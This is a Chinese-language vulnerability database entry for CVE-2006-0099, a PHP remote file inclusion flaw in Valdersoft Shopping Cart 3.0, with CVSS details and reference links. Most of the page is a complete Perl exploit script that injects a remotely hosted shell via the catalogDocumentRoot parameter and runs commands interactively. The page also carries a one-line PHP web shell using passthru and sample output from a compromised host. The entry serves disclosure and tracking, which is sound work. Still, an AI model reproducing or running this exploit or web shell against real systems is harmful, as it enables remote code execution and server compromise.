CVE-2006-0099
CVSS7.5
发布时间 :2006-01-06 06:03:00
修订时间 :2008-09-10 15:55:27
NMCOE    

[原文]PHP remote file include vulnerability in (1) include/templates/categories/default.php and (2) certain other include/templates/categories/ PHP scripts in Valdersoft Shopping Cart 3.0 allows remote attackers to execute arbitrary code via a URL in the catalogDocumentRoot parameter.


[CNNVD]Valdersoft Shopping Cart远程文件包含漏洞(CNNVD-200601-048)

        Valdersoft Shopping Cart 3.0的(1) include/templates/categories/default.php和(2)某些其他include/templates/categories/ PHP脚本中存在PHP远程文件包含漏洞,远程攻击者可以通过catalogDocumentRoot参数中的URL执行任意代码。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0099
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-0099
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200601-048
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/16126
(UNKNOWN)  BID  16126
http://downloads.securityfocus.com/vulnerabilities/exploits/cijfer-vscxpl.pl
(UNKNOWN)  MISC  http://downloads.securityfocus.com/vulnerabilities/exploits/cijfer-vscxpl.pl
http://milw0rm.com/exploits/1401
(UNKNOWN)  MILW0RM  1401

- 漏洞信息

Valdersoft Shopping Cart远程文件包含漏洞
高危 输入验证
2006-01-06 00:00:00 2006-01-09 00:00:00
远程  
        Valdersoft Shopping Cart 3.0的(1) include/templates/categories/default.php和(2)某些其他include/templates/categories/ PHP脚本中存在PHP远程文件包含漏洞,远程攻击者可以通过catalogDocumentRoot参数中的URL执行任意代码。

- 公告与补丁

        

- 漏洞信息 (1401)

Valdersoft Shopping Cart <= 3.0 Remote Command Execution Exploit (EDBID:1401)
php webapps
2006-01-03 Verified
0 cijfer
N/A [点击下载]
#!/usr/bin/perl
#
# cijfer-vscxpl - Valdersoft Shopping Cart <=3.0 Remote Command Execution Exploit
#
# Copyright (c) 2005 cijfer <cijfer@netti.fi>
# All rights reserved.           
#
## 1. example
#
# [cijfer@kalma:/research]$ ./cijfer-vscxpl.pl -h www.valdersoft.com -d /store
# [cijfer@www.valdersoft.com /]$ id;uname -a
# uid=2526(apache) gid=2524(apache) groups=2524(apache), 10004(psaserv)
# FreeBSD valdersoft.com 4.9-RELEASE FreeBSD 4.9-RELEASE #0: Wed Nov 19 00:35:22 EST 2003     
# tim@temp.atlnetworks.com:/usr/src/sys/compile/PLESK  i386
# 
# [cijfer@www.valdersoft.com /]$ 
#
## 2. explanation
#
# various files within 'include\templates\categories' contains unsanitized and undefined
# variables which can allow remote file inclusion, leading to remote command execution.
# this can be done by entering a remote url within the 'catalogDocumentRoot' variable.
#
## 3. the bug
#
# this is obvious _why_ it is dangerous.
#
#       ...
#       include($catalogDocumentRoot.$catalogDir."include/modules/categories_path.php");
#       ...
#
## 4. the php shell
#
# this exploit grabs data via regular expression strings. foreign php shell
# scripts will not work with this exploit. use the following code along with
# this exploit and put it in 'cmd.txt' or whatever you please:
#
#       <?passthru($_GET[cmd]);?>
#
##
#
# $Id: cijfer-vscxpl.pl,v 0.2 2005/12/30 11:44:00 cijfer Exp cijfer $

use Getopt::Std;
use IO::Socket;
use URI::Escape;

getopts("h:d:");

$host = $opt_h;
$dirs = $opt_d;
$shel = "http://site.com/cmd.txt";       # cmd shell url
$cmdv = "cmd";                           # cmd variable (ex. passthru($_GET[cmd]);)
$good = 0;

if(!$host||!$dirs)
{
        print "cijfer-vscxpl.pl by cijfer\n";
        print "usage: $0 -h cijfer.xxx -d /valdersoft\r\n";
        print "usage: $0 -h <hostname> -d <directory>\r\n";
        exit();
}

while()
{
        print "[cijfer@".$host." /]\$ ";
        while(<STDIN>)
        {
                $cmds=$_;
                chomp($cmds);
                last;
        }

        $string  = $dirs;
        $string .= "/include/templates/categories/default.php?";
        $string .= uri_escape($cmdv);
        $string .= "=";
        $string .= "%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B";
        $string .= uri_escape($cmds).";echo";
        $string .= "%3B%65%63%68%6F%20%5F%45%4E%44%5F;echo;";
        $string .= "&catalogDocumentRoot=";
        $string .= $shel;
        $string .= "?";

        $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) || die "error: connect()\n";

        print $sock "GET $string HTTP/1.1\n";
        print $sock "Host: $host\n";
        print $sock "Accept: */*\n";
        print $sock "Connection: close\n\n";

        while($result = <$sock>)
        {
                if($result =~ /^_END_/)
                {
                        $good=0;
                }

                if($good==1)
                {
                        print $result;
                }

                if($result =~ /^_START_/)
                {
                        $good=1;
                }
        }
}

# milw0rm.com [2006-01-03]
		

- 漏洞信息

22269
Valdersoft Shopping Cart /templates/categories/default.php catalogDocumentRoot Parameter Remote File Inclusion
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2006-01-04 Unknow
2006-01-04 Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站